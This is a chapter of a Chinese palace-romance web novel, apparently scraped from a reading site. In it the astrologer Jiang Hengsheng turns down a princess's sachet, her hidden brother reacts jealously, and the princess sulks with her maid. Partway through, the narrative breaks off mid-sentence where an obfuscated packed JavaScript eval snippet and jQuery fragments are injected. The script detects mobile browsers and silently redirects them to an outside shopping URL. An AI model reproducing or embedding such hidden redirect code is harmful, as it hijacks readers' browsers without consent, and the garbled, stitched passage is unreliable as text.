默认冷灰
24号文字
方正启体

7. 神棍

作者:谢霜华本书字数:K更新时间:
    江珩生见完温书宁之后,便回了密室。


    一进门,江珩生便看见闻澈在密室内焦急地走来走去。


    “你晃什么?”江珩生本就因香囊一事有些头疼,回来还看见闻澈这样乱晃,更是感觉太阳穴突突突的。


    也不知道究竟哪里出了差错,原本只是为了谋划才与他们站在一处。


    如今江珩生的生活却好似与温家人有了千丝万缕的关系。


    外头见完温书宁,回来还得应付闻澈。


    关键是闻澈十分关心温书宁,待会儿还不知道有多少个问题等着江珩生。


    闻澈听见开门的动静,转头一瞧,见是江珩生回来了,赶忙上前去,拉着他追问:“怎么样?宁宁与你说什么了?”


    江珩生与闻澈一起长大,说句僭越的,他也算闻澈半个个哥哥。


    他如何不知道闻澈心中在想什么,被迫与温书宁打出生起分别这许多年,只偶尔能远远看上一眼。


    对闻澈来说,温书宁是与温崇俊、宋淑怡同样重要的人。


    若是旁的事,江珩生也就直接告诉闻澈了。


    可今日见完温书宁回来,叫闻澈这样一问,他一时竟不知道该如何回答。


    说实话,怕闻澈心里不痛快,日后瞧江珩生也不痛快。


    不说实话,眼前是糊弄过去了,可日后呢?若日后才叫闻澈知晓,他二人怕是更要生出隔阂来。


    闻澈早晚是要恢复身份的,他是留下来帮忙也好,还是离开皇宫逍遥自在也好,都不好与闻澈闹得太僵。


    且因为这种事情生出多余的话来,实在是没必要,只想想都觉得荒谬。


    “说了,你怕是要怨我。”江珩生绕开闻澈,在桌旁坐了下来。


    闻澈一怔,眉头缓缓皱了起来,盯着江珩生不放,只觉得不对。


    他绕到江珩生面前,弯腰盯着他的脸,警惕道:“你欺负宁宁了?”


    江珩生嫌弃地打量了闻澈一番,压下到了嘴边的话,只说:“我没欺负她。”


    听到江珩生的回答,闻澈松了口气,点点头,往旁边的椅子一坐,说:“那就好……”


    不等闻澈把那个好字说完,江珩生又说了一句:“她送我香囊了。”


    闻澈还未反应过来,点点头,嘴上说着:“哦,她送你香囊了。”


    等等……


    好像哪里不对?


    香囊?!


    闻澈跳了起来,瞪着江珩生,伸手想揪住他的领子,可权衡之下又觉不妥,只得收回手,恶狠狠地问:“你收了没有?在哪里?我都没有,你凭什么有!”


    江珩生平静地看着暴跳如雷的闻澈,出声提醒:“她还不认识你。”


    闻澈顿时哑了火,但也因为这事儿而更加生气,对江珩生说:“那又如何,我们终究血脉相连,你……你一个外人,凭什么拿她的香囊!赶紧拿出来!”


    说到后边,闻澈凑上前去,上了手在江珩生身上扒拉着,试图从中扒拉出一个香囊来。


    江珩生叹了口气,抓住闻澈的手,强行将他推开,说:“我没收。”


    闻澈狐疑地看了江珩生一眼,不大相信,说:“宁宁这么好,她亲手给你绣香囊,你忍得住不收?”


    江珩生皱眉,说:“男女有别,今日我收了她香囊,明日事情被有心之人捅出去,她又当如何?”


    闻澈惊道:“那当然是你这个神棍迷惑公主,什么叫她当如何。”


    这人果然就这死德性。


    江珩生心底暗暗骂了一句。


    “收了你不高兴,没收你也不高兴,你究竟想做什么?若真这么闲,你就找点活做,争取早日恢复身份。”江珩生额头青筋直跳,咬牙骂道。


    “罢了,没收就好。”闻澈勉为其难地接受了香囊这件事,复又坐了下来。


    香囊一事在江珩生和闻澈这儿,也算是就这样揭过去了。


    可是,当天晚上。


    乔装改扮过的宋淑怡,却是从小门进了星源宫,直奔密室。


    密室门轰隆一声打开。


    闻澈还以为来的是江珩生,皱着眉一边往密室门口看去,一边说:“不是刚走吗?怎么又回来了?”


    谁知这一瞧,却看见宋淑怡站在密室门口。


    闻澈一时间眼眶酸涩起来,忙站起身,朝宋淑怡走了过去。


    他忍了又忍,才问:“大白天的,人多眼杂,您怎么来了?”


    宋淑怡合上密室门,匆匆上前,拉住闻澈的手,眉目间染上几分担忧,问:“我听暗卫说今日宁宁来过,可是出什么事了?”


    闻澈一怔,有些不解地摇摇头,说:“并未出什么事。”


    说完这话,闻澈略一停顿,担忧地问:“可是宁宁怎么了?”


    宋淑怡叹了口气,说:“今日宁宁回凤仪宫,瞧着不大高兴,瞧着那模样还有些伤心。我问不出个所以然来,又怕问多了她烦,听暗卫说她今日来了星源宫,这才找过来。”


    什么意思?


    这是说温书宁从星源宫回凤仪宫之后,就变得不高兴,还瞧着有些伤心?


    闻澈眉头紧皱,在脑中梳理着方才宋淑怡说的话,心中大概有了计较。


    不过,温书宁给江珩生送香囊这件事,还是不要让宋淑怡他们知道了。


    天知道他们怎么想,说不定不跟他站在一边,还想撮合这俩人呢?


    那可不行。


    闻澈想。


    闻澈略一犹豫,小心翼翼问:“宁宁她……真的很伤心吗?”


    宋淑怡闻言微怔,盯着闻澈的脸观察了一会儿,才说:“你是不是知道什么?”


    闻澈这回回答得很快,立刻摇头否认:“我不知道。”


    宋淑怡也不是傻子,这么明显的谎话,怎么可能相信。


    但闻澈不愿意说,兴许是有自己的考量。


    孩子也不小了,许多事得有自己的主意。


    她要做的,就是表现得睁一只眼闭一只眼,至少面上不要多加干涉。


    “您放心,我会处理的,不会让宁宁受委屈。”闻澈见宋淑怡沉默,赶忙补上一句。


    这话一说,却像是明摆着告诉宋淑怡,闻澈知道不少。


    他顿时有些后悔,心说有段时日没见宋淑怡,竟紧张得说这样的错话。


    好在宋淑怡打定主意睁一只眼闭一只眼,并未多问。


    她只盯着闻澈看了一会儿,叹了口气,说:“你们都大了,都有自己的小秘密了。”


    闻澈没想到宋淑怡会这样说,一时间不知该如何回答。


    他从出生起就与刚遭逢大难不久的江珩生生活在一块,远离了宋淑怡和温崇俊,只偶尔有机会才得以见他们。


    要说如何与这二人相处,其实他也不知道。


    若是陌生人,也不必想这样多。


    若是与温书宁一般,从未真正碰过面,那也还好。


    可与宋淑怡和温崇俊二人,他们说常见也常见,说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341092|199328||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不常见也算是不常见。


    他不能像温书宁一样亲昵地称呼他们,生怕出了什么差错让严素月得知还有一个他存在。


    所以他与宋淑怡和温崇俊的关系,其实是有些微妙的。


    这个问题,闻澈意识到了,宋淑怡也意识到了。


    所以,这也是宋淑怡并未打破砂锅问到底的原因。


    先给彼此留一点空间,有什么事情,待日后尘埃落定了再说。


    宋淑怡说完那话,便转身离开。


    闻澈站在原地,手指有一下没一下地抓着自己的衣服布料。


    他踌躇半晌,想上前送送,可一双腿又像灌了铅一样抬不动。


    就在这时,江珩生回来了。


    闻澈一股子火气冲着江珩生,说:“你把宁宁惹哭了,还敢到我面前来。”


    江珩生脚步一顿,眉头微皱,问:“她哭了?”


    闻澈坐下的动作一顿,没有立刻接话。


    他也拿不准,毕竟宋淑怡只说了伤心。


    但他都要找江珩生算账了,是不是哭了也不重要了。


    “你没见着皇后刚从这儿出去吗?人家都说宁宁回去后可伤心了。”闻澈说着,转头瞪了江珩生一眼。


    “那就是没哭。”江珩生坐下来,理了理衣摆,神情平静。


    闻澈没想到江珩生是这个反应。


    他猛地站起来,瞪着江珩生。


    “哪里没哭了!”


    “我真没哭啦!”


    温书宁缩在床上,双腿屈起来用双手抱着,低头不看床边的桃喜。


    桃喜脸上满是担心,盯着温书宁那藏不住事的脸,说:“公主,你这表情跟哭了有什么两样呀!”


    温书宁撇撇嘴,她也知道自己什么事都挂脸上,但她还是死不承认,道:“那也跟哭了不一样,我只是不高兴,不是哭了。”


    桃喜听见这话,当即抓住温书宁说的这话,问:“那公主为何不高兴?”


    温书宁当然不可能说出缘由。


    她只垂眸避开桃喜的视线,扯过被子盖在头上,摇着脑袋,说:“不要问啦!你就当是天气不好,我不高兴。”


    桃喜真的认真思索了片刻,说:“不对呀,公主以前最喜欢这个天气,怎么会不高兴呢?”


    温书宁狡辩道:“我长大了,现在不喜欢了。”


    桃喜眨了眨眼,恍然大悟,说:“哦——我知道了。”


    温书宁从被子里露出一只眼睛,警惕地看着桃喜,问:“你知道什么?”


    桃喜说:“我知道,公主是不想让人知道为什么不高兴,这才不说。”


    温书宁一怔,一把掀开被子,气鼓鼓地瞪了桃喜一眼,轻哼一声:“哼!你知道还问!”


    桃喜点头,说:“那奴婢不问了,公主可以出来吃饭了吗?”


    温书宁只别扭了一眨眼的时间,从床上爬下来,说:“那就先吃饭,待会我要出宫!”


    说完,温书宁往外走去。


    桃喜跟了上去,好奇地笑着追问:“公主出宫做什么?要买什么好玩的吗?”


    温书宁也笑,说:“买点宫里没有的小吃,再……”


    说到这里,温书宁停顿了一会,看了桃喜一眼,说:“这个出宫了再说!”


    桃喜没再追问,反正她也是要一起出宫的,出去了就知道了,没什么问的必要。


    她只跟着温书宁一块儿去用了膳,收拾了一番,便坐上马车离开宫门。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)